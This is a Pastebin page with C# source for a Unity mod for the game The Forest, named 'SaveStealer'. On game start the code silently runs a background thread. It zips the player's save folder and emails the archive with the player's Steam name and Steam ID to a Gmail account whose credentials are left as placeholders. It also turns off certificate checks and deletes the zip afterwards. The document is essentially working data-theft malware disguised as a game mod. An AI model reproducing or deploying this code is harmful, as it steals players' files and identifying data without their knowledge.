Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Pathfinding.Ionic.Zip;
- using System;
- using System.Diagnostics;
- using System.IO;
- using System.Net;
- using System.Net.Mail;
- using System.Net.Security;
- using System.Security.Cryptography.X509Certificates;
- using System.Threading;
- using Steamworks;
- using UnityEngine;
- namespace SaveStealer
- {
- class SaveStealerCore : MonoBehaviour
- {
- [ModAPI.Attributes.ExecuteOnGameStart]
- private static void AddMeToScene()
- {
- new GameObject("__TestMod__").AddComponent<SaveStealerCore>();
- }
- private void Awake()
- {
- if (PlayerPrefs.GetString("processID") == Process.GetCurrentProcess().Id.ToString())
- {
- return;
- }
- else
- {
- PlayerPrefs.SetString("processID", Process.GetCurrentProcess().Id.ToString());
- }
- new Thread(() =>
- {
- Thread.CurrentThread.IsBackground = true;
- string zipPassword = GeneratePassword(8);
- string startPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).TrimEnd("Roaming".ToCharArray()) + @"LocalLow\SKS\TheForest";
- string zipPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).TrimEnd("Roaming".ToCharArray()) + @"LocalLow\SKS\SaveFiles.zip";
- using (ZipFile zip = new ZipFile())
- {
- zip.Password = zipPassword;
- zip.AddDirectory(startPath, "SaveFiles");
- zip.Save(zipPath);
- }
- MailMessage mail = new MailMessage();
- SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
- mail.From = new MailAddress("test.test@gmail.com"); // Replace with your gmail
- mail.To.Add("test.test@gmail.com"); // Replace with your gmail
- mail.Subject = SteamFriends.GetPersonaName() + " | " + SteamUser.GetSteamID().ToString() + " | Save Files";
- mail.Body = "The password is: " + zipPassword;
- Attachment attachment;
- attachment = new Attachment(zipPath);
- mail.Attachments.Add(attachment);
- SmtpServer.Port = 587;
- SmtpServer.Credentials = new System.Net.NetworkCredential("test.test@gmail.com", "password"); // Replace with your gmail and password
- SmtpServer.EnableSsl = true;
- ServicePointManager.ServerCertificateValidationCallback =
- delegate (object s, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
- { return true; };
- SmtpServer.Send(mail);
- File.Delete(zipPath);
- }).Start();
- }
- private string GeneratePassword(int len)
- {
- string res = "";
- System.Random rnd = new System.Random();
- while (res.Length < len) res += (new Func<System.Random, string>((r) =>
- {
- char c = (char)((r.Next(123) * DateTime.Now.Millisecond % 123));
- return (Char.IsLetterOrDigit(c)) ? c.ToString() : "";
- }))(rnd);
- return res;
- }
- }
- }
Add Comment
Please, Sign In to add comment